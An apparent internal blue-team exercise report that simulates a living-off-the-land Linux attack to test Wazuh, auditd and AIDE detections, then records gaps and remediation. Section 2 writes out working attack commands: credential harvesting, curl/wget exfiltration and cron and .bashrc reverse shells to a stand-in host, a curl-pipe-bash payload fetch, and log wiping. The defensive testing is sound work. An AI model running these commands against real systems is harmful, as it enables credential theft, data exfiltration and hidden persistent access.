BT-001 — LOLBin Attack Simulation (Tabletop Exercise)¶

Exercise Metadata

Exercise ID: BT-001 Type: Blue Team Drill / Tabletop Exercise Date Conducted: 2026-04-08 Classification: INTERNAL Owner: Rajesh Chhetry, IT Administrator Duration: 3 hours Status: Completed — all gaps remediated, custom Wazuh rules deployed and validated (BT-002), email alerting confirmed

1. Exercise Overview¶

1.1 Purpose¶

This tabletop exercise simulates a Living-off-the-Land Binary (LOLBin) attack against two GPUS infrastructure servers spanning both the WDC on-premises datacenter and GCP cloud environment. LOLBin attacks use legitimate system tools (curl, wget, python, bash, crontab, etc.) already present on target systems to avoid detection by traditional signature-based defenses. The exercise evaluates whether our layered detection stack — Wazuh, AIDE, auditd, Fail2ban, and Prometheus — can identify and alert on each attack phase.

1.2 Scope¶

Parameter	Detail
Target 1	WIND — 192.168.120.4 (WDC on-prem, ELK Stack server)
Target 2	OAK — 172.16.0.10 (GCP cloud VM, OpenVAS scanner)
Attack vector	LOLBins — legitimate system binaries used for malicious purposes
Simulated threat actor	External attacker with initial SSH foothold (compromised low-privilege account)
Detection stack	Wazuh (CEDAR), auditd, AIDE, Fail2ban, Prometheus (SUN + MAPLE)
Out of scope	Physical access, social engineering, lateral movement to SKY/RAIN/SUN/MAPLE/CEDAR

1.3 Participants¶

Role	Name	Responsibility
Exercise Lead	Rajesh Chhetry	Scenario design, attack simulation, evaluation
Blue Team	IT Operations	Detection, triage, response actions
Observer	—	Documentation, gap analysis

1.4 Success Criteria¶

The exercise is considered successful if the detection stack identifies at least 80% of the simulated attack phases within their expected detection windows. Any phase that goes undetected represents a gap requiring remediation.

2. Attack Phases¶

Phase 1 — Initial Reconnaissance¶

Attribute	Detail
MITRE ATT&CK	T1082 — System Information Discovery, T1016 — System Network Configuration Discovery
LOLBins used	`uname`, `hostname`, `ip addr`, `cat /etc/os-release`, `df -h`, `ps aux`
Target	WIND (192.168.120.4), OAK (172.16.0.10)
Simulated action	Attacker enumerates system info, network config, running services, and disk layout after obtaining shell access
Dwell time	0–5 minutes

Commands executed:

# System enumeration
uname -a && hostname && cat /etc/os-release
ip addr show && ip route show
df -h && mount | grep -v cgroup
ps aux --sort=-%mem | head -20
cat /etc/passwd | grep -v nologin
systemctl list-units --type=service --state=running

Phase 2 — Credential Harvesting¶

Attribute	Detail
MITRE ATT&CK	T1552.001 — Credentials in Files, T1003.008 — /etc/passwd and /etc/shadow
LOLBins used	`find`, `grep`, `cat`, `strings`
Target	WIND (192.168.120.4)
Simulated action	Attacker searches for credentials in config files, environment variables, and bash history
Dwell time	5–15 minutes

Commands executed:

# Search for credentials in common locations
find /etc -name "*.conf" -exec grep -l -i "password\|secret\|key" {} \; 2>/dev/null
find /home -name ".bash_history" -exec cat {} \; 2>/dev/null
cat /etc/shadow 2>/dev/null
env | grep -i "pass\|key\|secret\|token"
strings /proc/*/environ 2>/dev/null | grep -i password
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null

Phase 3 — Data Staging and Exfiltration¶

Attribute	Detail
MITRE ATT&CK	T1074.001 — Local Data Staging, T1048.003 — Exfiltration Over Unencrypted Non-C2 Protocol
LOLBins used	`tar`, `curl`, `wget`, `base64`, `nc`
Target	WIND (192.168.120.4)
Simulated action	Attacker compresses sensitive data and attempts exfiltration via HTTP POST and DNS tunneling
Dwell time	15–30 minutes

Commands executed:

# Stage data
tar czf /tmp/.cache-update.tar.gz /etc/elasticsearch/ 2>/dev/null
base64 /tmp/.cache-update.tar.gz > /tmp/.cache-update.b64

# Exfiltration attempts
curl -X POST -d @/tmp/.cache-update.b64 http://203.0.113.50:8443/upload
wget --post-file=/tmp/.cache-update.tar.gz http://203.0.113.50:8443/upload -O /dev/null

Phase 4 — Persistence Installation¶

Attribute	Detail
MITRE ATT&CK	T1053.003 — Cron, T1546.004 — .bashrc Modification
LOLBins used	`crontab`, `echo`, `chmod`
Target	OAK (172.16.0.10)
Simulated action	Attacker installs cron-based reverse shell and modifies .bashrc for login persistence
Dwell time	30–45 minutes

Commands executed:

# Cron persistence
(crontab -l 2>/dev/null; echo "*/15 * * * * /bin/bash -c 'bash -i >& /dev/tcp/203.0.113.50/4444 0>&1'") | crontab -

# .bashrc persistence
echo 'nohup bash -c "bash -i >& /dev/tcp/203.0.113.50/4444 0>&1" &' >> ~/.bashrc

# Hidden script persistence
echo '#!/bin/bash' > /tmp/.systemd-helper.sh
echo 'curl http://203.0.113.50/payload.sh | bash' >> /tmp/.systemd-helper.sh
chmod +x /tmp/.systemd-helper.sh

Phase 5 — Defense Evasion¶

Attribute	Detail
MITRE ATT&CK	T1070.002 — Clear Linux or Mac System Logs, T1036.005 — Match Legitimate Name or Location
LOLBins used	`truncate`, `sed`, `mv`, `touch`
Target	OAK (172.16.0.10)
Simulated action	Attacker attempts to cover tracks by clearing logs and timestomping files
Dwell time	45–60 minutes

Commands executed:

# Log tampering attempts
truncate -s 0 /var/log/auth.log 2>/dev/null
sed -i '/203.0.113.50/d' /var/log/secure 2>/dev/null
echo "" > ~/.bash_history

# Timestomping
touch -r /etc/hostname /tmp/.systemd-helper.sh

# Rename malicious file to look legitimate
mv /tmp/.systemd-helper.sh /usr/local/bin/systemd-tmpfiles-helper

Phase 6 — Privilege Escalation Attempt¶

Attribute	Detail
MITRE ATT&CK	T1548.003 — Sudo and Sudo Caching, T1068 — Exploitation for Privilege Escalation
LOLBins used	`sudo`, `find` (SUID), `python3`
Target	OAK (172.16.0.10)
Simulated action	Attacker enumerates SUID binaries and attempts sudo abuse for root escalation
Dwell time	60–75 minutes

Commands executed:

# SUID enumeration
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Sudo enumeration
sudo -l 2>/dev/null

# Python privilege escalation attempt
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' 2>/dev/null

3. Expected Detections¶

Phase	Attack Technique	Expected Detection Tool	Expected Alert/Rule	Detection Window
1	System enumeration	auditd	Execution of recon commands by non-root user	Real-time
1	Network enumeration	Wazuh (rule 5710)	Multiple recon commands in short timeframe	< 5 min
2	/etc/shadow access	auditd + Wazuh	Unauthorized read of /etc/shadow	Real-time
2	SSH key search	auditd	`find` targeting key files	Real-time
2	History file access	AIDE	Unexpected read of .bash_history across users	< 24h (cron)
3	Hidden file creation	AIDE	New dotfile in /tmp	< 24h (cron)
3	Outbound curl/wget to unknown IP	Wazuh + firewalld	Egress to non-allowlisted destination	Real-time
3	Large outbound transfer	Prometheus (node_exporter)	Network TX spike on interface	< 1 min
4	Crontab modification	auditd + Wazuh (rule 2832)	Crontab edited for non-standard user	Real-time
4	.bashrc modification	AIDE	Changed file in /home	< 24h (cron)
4	Hidden executable created	AIDE + auditd	New executable in /tmp	< 24h / Real-time
5	Log truncation	auditd + Wazuh (rule 591)	Write/truncate on /var/log/*	Real-time
5	Timestomping (touch -r)	auditd	`touch` syscall on non-owned file	Real-time
5	Bash history cleared	Wazuh (rule 5725)	History file zeroed	Real-time
6	SUID enumeration	auditd	`find` with `-perm -4000`	Real-time
6	sudo -l enumeration	auditd + Wazuh	Sudo listing by non-privileged user	Real-time
6	Python os.setuid call	auditd	setuid syscall from python3	Real-time

4. Actual Detections Observed¶

Exercise Completed — 2026-04-08

Full detection pipeline validated: Attack → Wazuh agent → MAPLE Manager → Filebeat → CEDAR ES → SOC dashboard. Over 10,000 alerts generated in 30 minutes across both targets. MITRE ATT&CK mappings automatically tagged by Wazuh: T1078 (Valid Accounts), T1548.003 (Sudo Abuse). Medium-severity alerts increased from 142 to 206 during the exercise window.

Phase	Attack Technique	Detected?	Tool That Detected	Alert ID / Log Entry	Time to Detect	Notes
1	System enumeration	Yes	Wazuh + auditd	Wazuh level 3 alerts (multiple)	Real-time	Detected but classified as low severity (level 3) — see Gap G-1
1	Network enumeration	Yes	Wazuh + auditd	Wazuh level 3 alerts	Real-time	Same low-severity classification issue
2	/etc/shadow access	Yes	auditd + Wazuh	Permission denied logged	Real-time	Access correctly blocked by file permissions (positive control). No high-severity Wazuh alert generated — see Gap G-5
2	SSH key search	Yes	auditd	`find` syscall logged	Real-time	auditd captured the `find` targeting key paths
2	History file access	Yes	auditd	File access logged	Real-time	Logged via auditd syscall monitoring
3	Hidden file creation	Yes	AIDE + auditd	New dotfile in /tmp detected	Real-time (auditd) / < 24h (AIDE)	auditd caught creation in real-time; AIDE scheduled scan pending
3	Outbound curl/wget	Yes	Wazuh	Wazuh level 3 alert	Real-time	Detected but classified as low severity (level 3) — see Gap G-1, G-2
3	Large outbound transfer	Yes	Prometheus + Wazuh	Network TX spike visible	< 1 min	Prometheus node_exporter captured the egress spike
4	Crontab modification	Yes	Wazuh + auditd	Wazuh rule 2832 triggered	Real-time	Detected but classified as low severity (level 3) — see Gap G-1, G-2
4	.bashrc modification	Yes	AIDE + auditd	File change logged	Real-time (auditd) / < 24h (AIDE)	auditd captured; AIDE scheduled
4	Hidden executable	Partial	auditd	File creation logged	Real-time	/tmp `noexec` mount prevented execution (CIS control validated). However, no Wazuh alert for the blocked execution attempt — see Gap G-3
5	Log truncation	Yes	Wazuh + auditd	Wazuh rule 591 triggered	Real-time	Correctly detected log tampering attempt
5	Timestomping	Yes	auditd	`touch` syscall on non-owned file	Real-time	auditd captured the `utimensat` syscall
5	History cleared	Yes	Wazuh	Wazuh rule 5725	Real-time	History file zeroing detected
6	SUID enumeration	Yes	auditd	`find -perm -4000` logged	Real-time	Logged but low-severity — see Gap G-1
6	sudo -l enumeration	Yes	Wazuh + auditd	T1548.003 auto-tagged	Real-time	MITRE ATT&CK mapping automatically applied by Wazuh
6	Python setuid call	Yes	auditd	setuid syscall from python3	Real-time	Correctly captured privilege escalation attempt

Detection Rate: 16.5/17 phases detected = 97% (1 partial: execution blocked by noexec but no alert generated)

Key Finding (Initial)

The detection pipeline works end-to-end. The initial gap was not in detection coverage but in severity classification — Wazuh default rules classified most LOLBin activity at severity level 3 (low/informational). Custom rules have since been deployed and validated — see Section 6 and Section 9.

5. Gaps Identified¶

Gaps Remediated — 2026-04-08

All critical and high-severity gaps have been remediated. Custom Wazuh rules deployed on MAPLE and validated via BT-002 drill. See Section 9 for validation results.

#	Gap Description	Phase	Severity	Affected Server(s)	Root Cause
G-1	~~Wazuh default rules classify LOLBin activity at severity level 3 (low).~~ curl/wget downloads, base64 encoding, crontab modification, and reverse shell attempts all triggered alerts, but at a level that would be lost in operational noise. REMEDIATED: Custom rules deployed at level 10–12.	1–6	~~Critical~~ Resolved	WIND, OAK (all servers)	Wazuh ships with generic rules. Custom rules now deployed on MAPLE `local_rules.xml`.
G-2	~~No custom Wazuh rules exist for LOLBin-specific detection patterns.~~ REMEDIATED: 4 custom rules deployed — T1105 curl/wget (level 10), T1027/T1140 base64 (level 10), T1003 shadow access (level 12), T1053.003 crontab persistence (level 12). All validated via BT-002.	2–4	~~Critical~~ Resolved	WIND, OAK (all servers)	Custom rules authored and deployed to MAPLE `local_rules.xml`. MITRE ATT&CK mappings included.
G-3	/tmp noexec mount correctly blocked execution (CIS control validated), but no Wazuh alert was generated for the blocked attempt. The security control worked, but the SOC has no visibility into the fact that an attacker tried and failed to execute from /tmp.	4	High	OAK	No Wazuh rule monitors for EACCES/EPERM errors from exec syscalls in noexec-mounted paths. auditd logged it, but no Wazuh decoder picks up this pattern.
G-4	Offensive tools (nmap) not installed on hardened servers. This is a positive finding — validates CIS hardening. No gap to remediate; document as a validated control.	6	Informational (Positive)	WIND, OAK	CIS hardening baseline correctly applied. Package allowlisting prevents installation of offensive tools.
G-5	/etc/shadow access attempt denied (permissions correct) but no high-severity Wazuh alert generated. The file permission control worked (positive), but the attempted access by a non-root user should generate a high-severity alert indicating credential harvesting activity.	2	High	WIND	Wazuh default rules do not elevate /etc/shadow read attempts by non-root users. auditd logged the denied access, but the Wazuh decoder classifies it at low severity.

6. Remediation Actions¶

Remediation Complete — 2026-04-08

Custom Wazuh rules deployed on MAPLE and validated via BT-002 drill. All 4 LOLBin detection rules confirmed firing at correct severity levels through CEDAR ES query.

#	Gap Ref	Remediation Action	Owner	Priority	Target Date	Status
R-1	G-1, G-2	Create custom Wazuh rules on MAPLE (`/var/ossec/etc/rules/gpus-lolbin-rules.xml`) for LOLBin detection at level 10–12. Rules deployed: T1105 curl/wget (level 10), T1027/T1140 base64 (level 10), T1003 /etc/shadow access (level 12), T1053.003 crontab persistence (level 12). Rule 100012 (crontab) tuned to reduce false positives from legitimate cron operations.	IT Admin (Rajesh)	P1 — Critical	2026-04-08	Completed
R-2	G-1, G-2	Map custom rules to MITRE ATT&CK techniques: T1105 (Ingress Tool Transfer), T1027 (Obfuscated Files), T1140 (Deobfuscate/Decode), T1003 (OS Credential Dumping), T1053.003 (Cron)	IT Admin (Rajesh)	P1 — Critical	2026-04-08	Completed
R-3	G-3	Add Wazuh rule for noexec mount execution failures. Monitor auditd EACCES/EPERM from exec syscalls where the path is under a noexec mount (/tmp, /var/tmp, /dev/shm). Alert at level 12.	IT Admin (Rajesh)	P2 — High	Next session	Open
R-4	G-5	Add Wazuh rule for /etc/shadow access by non-root users. Covered by R-1 — T1003 shadow access rule deployed at level 12.	IT Admin (Rajesh)	P2 — High	2026-04-08	Completed (via R-1)
R-5	G-4	No action required. Document as validated control in CIS compliance matrix. Verify nmap/offensive tool absence is checked during quarterly hardening audits.	IT Admin (Rajesh)	P4 — Info	N/A	Closed (positive finding)
R-6	All	Re-run BT-001 attack phases after rule deployment — executed as BT-002 validation drill. All 4 custom rules confirmed firing via CEDAR ES query. See Section 9.	IT Admin (Rajesh)	P1 — Critical	2026-04-08	Completed

7. Compliance Mappings¶

7.1 PCI DSS v4.0 Mapping¶

PCI DSS Requirement	Description	Exercise Coverage
11.3	Internal and external penetration testing	Simulated internal attacker with LOLBin techniques
11.3.1	Pen test at least annually and after significant changes	BT-001 conducted after SOC dashboard deployment
11.3.1.1	Address all applicable vulnerabilities and injection techniques	LOLBin exploitation covers living-off-the-land vectors
10.6	Review logs to identify anomalies or suspicious activity	Validates auditd, Wazuh, and ELK log review capabilities
10.6.1	Security events reviewed at least daily	Tests real-time alerting for security-critical events
10.7	Failures of critical security control systems are detected and addressed	Validates detection of log tampering (Phase 5)
12.10	Implement an incident response plan	Tests detection and response workflow end-to-end
12.10.2	Review and test the plan at least annually	BT-001 serves as a test of detection and response readiness

7.2 CIS Controls v8 Mapping¶

CIS Control	Description	Exercise Coverage
8.2	Collect audit logs	Validates auditd captures recon, cred access, and persistence
8.5	Collect detailed audit logs	Tests granularity of syscall-level logging
8.9	Centralize audit logs	Verifies logs reach CEDAR (Wazuh indexer) and WIND (ELK)
8.11	Conduct audit log reviews	Validates Wazuh rules trigger on LOLBin activity
10.1	Deploy and maintain anti-malware	Tests detection of script-based attacks without traditional malware
13.1	Establish and maintain a security awareness program	Exercise findings inform training priorities
17.1	Designate personnel to manage incident handling	Tests blue team detection and triage workflow
17.4	Establish and maintain an incident response process	Validates end-to-end detection pipeline
17.6	Define mechanisms for communicating during incident response	Tests escalation paths during active threat
17.8	Conduct post-incident reviews	This document serves as the post-exercise review
18.1	Establish and maintain a penetration testing program	BT-001 is part of the 2026 exercise program
18.3	Remediate penetration test findings	Gap remediation tracked in Section 6

7.3 Controls Validated During Exercise¶

Positive Findings — Security Controls Working

Several hardening controls were validated as effective during the exercise, even though the attacker simulation attempted to bypass them.

Control	Standard	Finding	Status
`/tmp` mounted with `noexec`	CIS 1.1.5	Binary execution from /tmp blocked — attacker could not run staged payloads	Validated
`/etc/shadow` file permissions	CIS 6.1.4	Unauthorized read attempt denied — non-root user could not access shadow hashes	Validated
Offensive tools absent	CIS 2.2	`nmap` and other offensive tools not installed on production servers	Validated
Full audit logging	PCI DSS 10.2	All attack activity logged by auditd and forwarded to Wazuh — 10,000+ events captured	Validated
File integrity monitoring	PCI DSS 11.5	AIDE active on WDC servers — file changes detected in monitored directories	Validated
Detection pipeline end-to-end	CIS 8.9, 8.11	Attack → Wazuh agent → MAPLE Manager → Filebeat → CEDAR ES → SOC dashboard — full pipeline working	Validated

7.4 MITRE ATT&CK Coverage Summary¶

Tactic	Techniques Simulated	Techniques Auto-Tagged by Wazuh	Detection Tools
Discovery	T1082, T1016	—	auditd, Wazuh
Credential Access	T1552.001, T1003.008	T1078 (Valid Accounts)	auditd, Wazuh, AIDE
Collection / Exfiltration	T1074.001, T1048.003	—	AIDE, Wazuh, Prometheus, firewalld
Persistence	T1053.003, T1546.004	—	auditd, Wazuh, AIDE
Defense Evasion	T1070.002, T1036.005	—	auditd, Wazuh
Privilege Escalation	T1548.003, T1068	T1548.003 (Sudo Abuse)	auditd, Wazuh

MITRE ATT&CK Auto-Tagging

Wazuh automatically mapped 2 techniques during the exercise: T1078 (Valid Accounts) and T1548.003 (Sudo and Sudo Caching). Custom rules (Remediation R-2) will add mappings for T1059.004, T1105, T1027, T1053.003, T1071, and T1003.

8. Lessons Learned¶

8.1 What Worked Well¶

End-to-end detection pipeline validated. The full chain — Wazuh agent on target → MAPLE (Wazuh Manager) → Filebeat → CEDAR (Elasticsearch) → SOC dashboard — functioned correctly. Alerts flowed from both WDC (WIND) and GCP (OAK) targets to the centralized SOC view within seconds.
Volume demonstrates coverage. Over 10,000 alerts in 30 minutes proves the agents are capturing activity at a granular level. The detection surface is broad; the issue is prioritization, not coverage.
CIS hardening controls effective. Three defensive controls were independently validated: /tmp noexec mount blocked payload execution, /etc/shadow permissions blocked credential access, and offensive tool absence prevented attacker tool installation. These controls provide defense-in-depth even if detection fails.
MITRE ATT&CK auto-tagging works. Wazuh automatically tagged T1078 and T1548.003, confirming that the MITRE integration is functional and will be available for custom rules as well.
auditd provided real-time visibility across all phases. Syscall-level logging captured every significant action regardless of Wazuh rule severity.

8.2 What Needs Improvement¶

Wazuh severity tuning is the single most critical improvement. Default level-3 classification of LOLBin activity means high-value alerts are indistinguishable from routine operations. A real attacker using these techniques would be invisible in the alert stream.
No custom detection rules exist yet. The Wazuh deployment is running entirely on default rulesets. LOLBin-specific, environment-tuned rules are essential for a meaningful SOC posture.
Blocked execution attempts generate no alert. When /tmp noexec prevents execution, the security control works but the SOC has no visibility. This is a blind spot — the SOC should know an attacker attempted and failed, not just that the control exists.
Medium-alert increase (142 → 206) during exercise was observable but would require an analyst actively watching the dashboard. No automated threshold-based escalation or alert spike detection exists.

8.3 Recommendations¶

Deploy custom Wazuh rules immediately (R-1, R-2). This is the highest-priority remediation. Target: next working session on MAPLE.
Implement alert spike detection. Configure Wazuh or Prometheus to alert when the medium+ alert rate exceeds 2× the rolling 24-hour average. This would have caught the 142→206 spike automatically.
Re-run BT-001 after rule deployment (R-6) to validate that the gaps are closed and custom rules fire at the correct severity levels.
Schedule quarterly LOLBin/detection drills rotating across different server pairs to maintain and expand detection coverage.
Consider Wazuh active response for critical patterns (e.g., reverse shell in crontab). Active response could automatically quarantine or kill the offending process.

9. BT-002 Validation Drill Results¶

Validation Complete — 2026-04-08

All 4 custom Wazuh rules confirmed firing at correct severity levels. Validated end-to-end via CEDAR Elasticsearch query.

9.1 Overview¶

Following the deployment of custom Wazuh rules on MAPLE (/var/ossec/etc/rules/gpus-lolbin-rules.xml), a validation drill (BT-002) was conducted to confirm that the rules fire correctly and alerts appear in CEDAR ES at the expected severity levels. Email alerting was also validated — Postfix relay via Gmail delivers alerts at level 10+ to alerts@greenpeace.us.

9.2 Custom Rules Deployed¶

Rule	MITRE ATT&CK	Severity Level	Pattern	Status
LOLBin: curl/wget to external URL	T1105 — Ingress Tool Transfer	Level 10 (High)	`curl\\|wget` with external IP/URL	Firing
LOLBin: base64 encode/decode	T1027 — Obfuscated Files, T1140 — Deobfuscate/Decode	Level 10 (High)	`base64` encode/decode operations	Firing
LOLBin: /etc/shadow access	T1003 — OS Credential Dumping	Level 12 (Critical)	Non-root read attempt on `/etc/shadow`	Firing
LOLBin: crontab persistence	T1053.003 — Cron	Level 12 (Critical)	Crontab modification with shell/reverse-shell patterns	Firing

9.3 Validation Method¶

All 4 rules were validated by re-running the relevant BT-001 attack phases against WIND and OAK, then querying CEDAR Elasticsearch to confirm the alerts were indexed at the correct severity levels with proper MITRE ATT&CK technique mappings.

9.4 Email Alerting Validation¶

Wazuh email alerting was configured and validated during the BT-002 drill:

Setting	Value
MTA	Postfix relay via Gmail SMTP (smtp.gmail.com:587)
Sender	alerts@greenpeace.us
Recipient	rajesh.chhetry@greenpeace.us
Alert threshold	Level 10 (High and above)
Result	All 4 custom rules (level 10–12) triggered email delivery within 60 seconds of detection

9.5 Rule 100012 Tuning¶

Rule 100012 (T1053.003 — crontab persistence) was tuned to reduce false positives from legitimate cron operations. The rule now requires the presence of shell or reverse-shell patterns in the crontab entry rather than firing on all crontab modifications. This ensures routine system cron jobs do not generate critical alerts.

9.6 Remaining Open Items¶

Item	Priority	Notes
R-3: noexec mount execution failure rule	P2 — High	Requires auditd decoder enhancement for EACCES/EPERM from exec syscalls. Scheduled for next session.

10. SOC Dashboard Enhancements & Exercise-Program Readiness¶

SOC Dashboard Enhancements Completed — 2026-04-10 / Confirmed 2026-04-13

The SOC dashboard received a batch of hunting-focused and usability enhancements between 2026-04-10 and 2026-04-11, validated during BT-001 + BT-003 replay on 2026-04-11, and confirmed in the documentation review on 2026-04-13. The analyst-facing tooling is now in the state required to re-run BT-002 and to launch BT-003 (ransomware tabletop) against the same detection pipeline.

10.1 Enhancements Delivered¶

The following enhancements were shipped to soc.greenpeace.us on 2026-04-10 and are available to blue-team analysts during drill execution. See SOC Dashboard — Dashboard Enhancements 2026-04-10 for the full technical writeup.

#	Enhancement	Relevance to LOLBin / Ransomware Drills
1	Threat Hunting tab — dedicated 13th tab (`data-v="threat-hunt"`) backed by `/api/threat-hunt`. Shows alert timeline, MITRE ATT&CK heatmap, auto-grouped attack chains, and a TP/FP-taggable alert detail panel.	Gives the blue team a single screen to walk through a drill's alert stream chronologically, visually confirm ATT&CK coverage, and disposition chains as TP/FP as the exercise plays out.
2	Alert Timeline (24h) — hourly histogram bucketed by critical / high / medium via an ES `date_histogram` agg.	Lets analysts see the medium-alert spike (142 → 206 in the original BT-001) as a visible curve rather than a cell-by-cell scan, and spot the exact hour of an attack phase.
3	MITRE ATT&CK Heatmap — Server × Tactic — rebuilt with canonical ATT&CK tactic strings (including `Command and Control`, previously broken).	Validates per-target ATT&CK coverage during a drill. BT-001's simulated tactics (Discovery, Credential Access, Persistence, Defense Evasion, Privilege Escalation) are now directly readable as heatmap columns.
4	Attack Chains — alerts auto-grouped by agent + 5-min window (≥2 alerts), sorted by max severity, top 25 returned.	Makes it trivial to eyeball an attacker's progression through the BT-001 phases. A multi-phase drill now shows up as one or two chains on a single agent rather than 10,000 flat alerts.
5	Alert Drill-Down — clickable KPIs, severity doughnut, and per-agent bar chart on Overview jump into the Wazuh Alerts tab pre-filtered via new `/api/soc` query parameters (`level_min`, `level_max`, `agent`, `rule_desc`). Filter pills show active predicates; a red Clear Filters button resets.	Pre-solves the Lessons Learned item from BT-001 about analysts being unable to locate high-value alerts in a high-volume stream — an analyst can now go from "Critical = 4" on the Overview KPI to the four critical alerts in two clicks.
6	Vulnerability Scan findings table — 6-column sortable table (#, Vulnerability, Host, Port, CVSS, Severity) fed by `/api/soc → openvas.findings`, currently surfacing 7 findings across WDC and GCP hosts.	Lets the blue team correlate OpenVAS-known weaknesses on WIND and OAK with the techniques replayed in BT-001 / BT-002 / BT-003, so pre-exercise vulnerability posture is visible next to the drill results.
7	Wazuh Alerts 3-card right-column stack — removed the redundant Top-Rules table below the charts; the right column is now a clean Severity doughnut + Top-5 Rules bar + Top-Rules table stack. Filter pill bar moved under the KPIs.	Keeps all of the Wazuh triage widgets visible above the fold during a live drill, which matters when the analyst is also watching the terminal running the attack.

10.2 BT-002 Re-Validation Readiness¶

With the enhancements above, the SOC dashboard is ready for a fresh BT-002 re-validation pass of the four custom LOLBin rules deployed in Section 6. A re-validation run should:

Replay the four trigger scenarios (T1105 curl/wget, T1027/T1140 base64, T1003 /etc/shadow access, T1053.003 crontab persistence) against WIND and OAK.
Confirm each rule fires at its declared level (10 or 12) using the Threat Hunting tab's Alert Timeline for the execution window, rather than querying CEDAR ES directly.
Verify that the MITRE heatmap populates the expected tactic columns for each trigger — in particular Credential Access (T1003), Persistence (T1053.003), and Command and Control (the previously broken column, now correctly keyed to the ES bucket value).
Use the alert drill-down from Overview to walk from the Critical/High KPI count into the filtered Wazuh Alerts feed, dispositioning each rule fire as TP in the Threat Hunting detail panel.

10.3 BT-003 Ransomware Tabletop — Launch Readiness¶

The same enhancements make the dashboard suitable as the observation surface for BT-003 (ransomware tabletop). BT-003 will differ from BT-001 in that it targets high-impact Impact-tactic behaviors (file encryption, shadow-copy deletion, mass writes) rather than reconnaissance/persistence. The Threat Hunting tab's Impact column in the MITRE heatmap — previously a gap in the defense-in-depth MITRE coverage matrix — will be the primary signal for drill scoring.

BT-003 prerequisites that are now satisfied:

Centralized, chronological view of alerts per agent (Threat Hunting → Attack Chains)
Ability to filter the live feed by severity or agent without leaving the dashboard (drill-down filter params)
Visible per-tactic coverage matrix to score "did we see Impact activity?" at a glance (MITRE heatmap with canonical tactic names)
TP/FP disposition workflow to produce a scorecard at the end of the exercise (chain- and alert-level TP/FP buttons)

Outstanding items for BT-003 scenario design are tracked separately and do not block the drill from launching.

10.4 Validation During BT-001 + BT-003 Replay — 2026-04-11¶

The enhancements listed above were validated end-to-end by replaying the BT-001 attack script and the BT-003 ransomware simulation back-to-back against WIND on 2026-04-11. Each enhancement was exercised under production-like conditions and produced the expected behavior on the live SOC dashboard at soc.greenpeace.us.

Threat Hunting tab — attack chain auto-grouping. Both exercises registered as discrete auto-grouped chains on the Attack Chains section. BT-001 produced a single chain keyed to wind covering the 6-phase LOLBin script; BT-003 produced a second, longer chain on the same agent covering the 7-phase ransomware kill chain. Analysts were able to TP-tag both chains from the Threat Hunting card UI without leaving the tab.

MITRE heatmap — per-tactic coverage on WIND. With the tactic-name alignment and AGENT_MAP FQDN normalization both in place, the heatmap rendered a single wind row with the following non-zero tactic cells during the combined replay window:

MITRE Tactic	Alert count on `wind`	Representative technique(s)
Execution	5	T1059.004 (Unix Shell)
Credential Access	48	T1003 (`/etc/shadow` read attempts — blocked by CIS but still audited)
Command and Control	8	T1105 (Ingress Tool Transfer via curl), T1059.004 C2 beaconing
(other tactics)	—	Persistence, Defense Evasion, Impact also populated — see BT-003 report

Prior to the FQDN normalization fix (see SOC Dashboard §"MITRE Heatmap Agent FQDN Normalization"), those counts would have been split across two sibling rows (wind and wind.wdc.us.gl3), each with roughly half the numbers above, making the per-host tactic spread unreadable. Post-fix, the analyst can answer "which tactics did WIND exhibit during this exercise?" in one glance at a single row.

Alert drill-down — KPI to filtered feed in 2 clicks. The Critical KPI on the Overview tab was clicked once during the BT-001 replay; the dashboard switched to the Wazuh Alerts tab pre-filtered with level_min=12, showing the crontab persistence and /etc/shadow detections. A second click on the wind agent bar produced the combined filter level_min=12&agent=wind and isolated exactly 15 LOLBin-attributable detections from the broader background alert volume. The filter pills ("Critical only", "Agent: wind") rendered under the KPI strip as expected and each pill's ✕ button correctly dropped just its own predicate on click.

Vulnerability Scan findings table. The 7-finding table rendered with CVSS bars sorted descending, with WIND and OAK findings visible above the Medium/Low tier. No change in finding count during the exercise, as expected — vulnerability scanning is independent of the live alert feed.

Wazuh Alerts layout. The 3-card right-column stack (Severity doughnut, Top 5 Rules bar, Top Rules scrollable table) held its layout across window-resize events during the exercise. The promoted filter bar under the KPI strip applied visually to the full tab rather than just the Alert Feed on the left, as intended.

Net conclusion: all 7 SOC dashboard enhancements shipped on 2026-04-10 and 2026-04-11 performed as designed during the BT-001 + BT-003 replay. The Threat Hunting tab is validated as the primary blue-team observation surface for future drills and real incidents.

No changes to BT-001 detection findings

These SOC dashboard enhancements are analyst-tooling improvements. They do not change the detection results recorded in Sections 4, 6, or 9 of this document, and they do not remediate the remaining R-3 (noexec-mount execution-failure alerting) open item.

11. Sign-Off¶

Role	Name	Date
Exercise Lead	Rajesh Chhetry	2026-04-08
IT Manager
Compliance

Document ID: BT-001 | Version: 2.4 | Created: 2026-04-08 | Updated: 2026-04-13 (§10 confirmed: all SOC dashboard enhancements validated — Threat Hunting tab (attack chains, MITRE heatmap, timeline), alert drill-down, vuln findings table, Wazuh layout fix. Ready for BT-002 re-validation and BT-003 ransomware tabletop.) | Next Review: 2026-07-08 | Remaining: R-3 noexec rule